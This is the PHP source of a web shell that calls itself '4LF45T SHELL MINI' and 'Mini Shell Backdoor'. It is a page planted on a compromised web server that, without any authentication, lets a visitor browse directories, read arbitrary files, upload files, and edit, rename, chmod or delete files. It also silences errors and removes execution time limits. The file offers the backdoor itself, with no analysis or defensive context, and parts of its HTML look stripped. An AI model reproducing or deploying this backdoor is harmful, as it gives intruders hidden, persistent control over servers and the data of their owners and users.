error_reporting(0); set_time_limit(0); if(get_magic_quotes_gpc()){ foreach($_POST as $key=>$value){ $_POST[$key] = stripslashes($value); } } echo '<!DOCTYPE HTML> <HTML> <HEAD> <link href="" rel="stylesheet" type="text/css"> 4LF45T SHELL MINI<title>4LF45T SHELL MINI</title> <link rel="SHORTCUT ICON" href="http://www.hi5style.com/gr/heart.gif"> <style> body{ font-family: "Courier", cursive; color: #fff; background-color: #000; text-shadow:0px 0px 1px #757575; } #content tr:hover{ background-color: red; } #content .first{ background-color: red; } #content .first:hover{ background-color: red; text-shadow:0px 0px 1px #757575; } H1{ font-family: "Courier", cursive; color: #fff; } a{ color: #fff; text-decoration: none; } a:hover{ color: #fff; text-shadow:0px 0px 5px #ffffff; } input,select,textarea{ border: 1px #fff solid; -moz-border-radius: 5px; -webkit-border-radius:5px; border-radius:5px; } </style> </HEAD> <BODY> <H1>
Mini Shell Backdoor
</H1> <table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> Current Path : '; if(isset($_GET['path'])){ $path = $_GET['path']; }else{ $path = getcwd(); } $path = str_replace('\','/',$path); $paths = explode('/',$path); foreach($paths as $id=>$pat){ if($pat == '' && $id == 0){ $a = true; echo '<a href="?path=/">/</a>'; continue; } if($pat == '') continue; echo '<a href="?path='; for($i=0;$i<=$id;$i++){ echo "$paths[$i]"; if($i != $id) echo "/"; } echo '">'.$pat.'</a>/'; } echo ''; /*upload*/ if(isset($_FILES['file'])){ if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){ echo '<font color="green">Upload File Success!</font><br />'; }else{ echo '<font color="red">Failed for Upload File!</font><br />'; } } echo '
Upload File :
'; /*view file*/ if(isset($_GET['filesrc'])){ echo "Current File : "; echo $_GET['filesrc']; echo '<br />'; echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>'); /*delete file and dir*/ }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){ echo '<br />
'.$_POST['path'].'<br /><br />'; /*chmod file and dir*/ if($_POST['opt'] == 'chmod'){ if(isset($_POST['perm'])){ if(chmod($_POST['path'],$_POST['perm'])){ echo '<font color="green">Change Permission Success~!</font><br />'; }else{ echo '<font color="red">Failed for Change Permission !</font><br />'; } } echo '
Permission :
'; /*rename dir and file*/ }elseif($_POST['opt'] == 'rename'){ if(isset($_POST['newname'])){ if(rename($_POST['path'],$path.'/'.$_POST['newname'])){ echo '<font color="green">Change Name Success!</font><br />'; }else{ echo '<font color="red">Failed for Change Name !</font><br />'; } $_POST['name'] = $_POST['newname']; } echo '
New Name :
'; /*edit file*/ }elseif($_POST['opt'] == 'edit'){ if(isset($_POST['src'])){ $fp = fopen($_POST['path'],'w'); if(fwrite($fp,$_POST['src'])){ echo '<font color="green">Edit File Success!</font><br />'; }else{ echo '<font color="red">Failed for Edit File!</font><br />'; } fclose($fp); } echo '
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
'; } echo '
'; }else{ echo '<br />
'; if(isset($_GET['option']) && $_POST['opt'] == 'delete'){ if($_POST['type'] == 'dir'){ if(rmdir($_POST['path'])){ echo '<font color="green">Delete Dir Success!</font><br />'; }else{ echo '<font color="red">Failed for Delete Dir!</font><br />'; } }elseif($_POST['type'] == 'file'){ if(unlink($_POST['path'])){ echo '<font color="green">Delete File Success!</font><br />'; }else{ echo '<font color="red">Failed for Edit File!</font><br />'; } } } echo '
'; $scandir = scandir($path); echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center"> <tr class="first">
Name
Size
Permissions
Options
'; foreach($scandir as $dir){ if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue; echo " <a href=\"?path=$path/$dir\">$dir</a>
--
"; if(is_writable("$path/$dir")) echo '<font color="green">'; elseif(!is_readable("$path/$dir")) echo '<font color="red">'; echo perms("$path/$dir"); if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>'; echo "
<select name=\"opt\"> <option value=\"\"></option> <option value=\"delete\">Delete</option> <option value=\"chmod\">Chmod</option> <option value=\"rename\">Rename</option> </select> <input type=\"hidden\" name=\"type\" value=\"dir\"> <input type=\"hidden\" name=\"name\" value=\"$dir\"> <input type=\"hidden\" name=\"path\" value=\"$path/$dir\"> <input type=\"submit\" value=\">\" />
"; } echo '<tr class="first">'; foreach($scandir as $file){ if(!is_file("$path/$file")) continue; $size = filesize("$path/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; }else{ $size = $size.' KB'; } echo " <a href=\"?filesrc=$path/$file&path=$path\">$file</a>
".$size."
"; if(is_writable("$path/$file")) echo '<font color="green">'; elseif(!is_readable("$path/$file")) echo '<font color="red">'; echo perms("$path/$file"); if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>'; echo "
<select name=\"opt\"> <option value=\"\"></option> <option value=\"delete\">Delete</option> <option value=\"chmod\">Chmod</option> <option value=\"rename\">Rename</option> <option value=\"edit\">Edit</option> </select> <input type=\"hidden\" name=\"type\" value=\"file\"> <input type=\"hidden\" name=\"name\" value=\"$file\"> <input type=\"hidden\" name=\"path\" value=\"$path/$file\"> <input type=\"submit\" value=\">\" />
"; } echo ' </div>'; } echo ' </BODY> </HTML>'; function perms($file){ $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; }